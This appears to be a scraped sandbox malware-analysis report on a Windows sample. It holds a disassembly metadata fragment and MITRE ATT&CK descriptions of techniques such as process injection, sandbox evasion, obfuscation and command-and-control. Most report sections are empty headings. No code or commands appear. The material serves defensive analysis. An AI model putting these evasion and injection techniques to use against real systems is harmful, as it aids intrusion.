FindCloseChangeNotification.KERNEL32(9C6AF444), ref: 00EC4AAF

Memory Dump Source

Source File: 00000017.00000002.1183917294.0000000000EB0000.00000040.00000010.sdmp, Offset: 00EB0000, based on PE: true

Yara matches

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 9e5bd5d73aec3ea279f7cdbeccba634f714557f0b111e67455b7d3a5834c50fd
Instruction ID: 94a8e6a7efd22eac8091b81f9314eed4e2e0bc7bd7692b2c65796897146137fb
Opcode Fuzzy Hash: 9e5bd5d73aec3ea279f7cdbeccba634f714557f0b111e67455b7d3a5834c50fd
Instruction Fuzzy Hash: 9C01E475E0020CFBCB45EFA4C94A99EBFB4EB00704F108188E515A6221E6B5AB159F81

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report IGidwJjoUs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Exports

Network Behavior

Network Port Distribution

TCP Packets

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Code Manipulations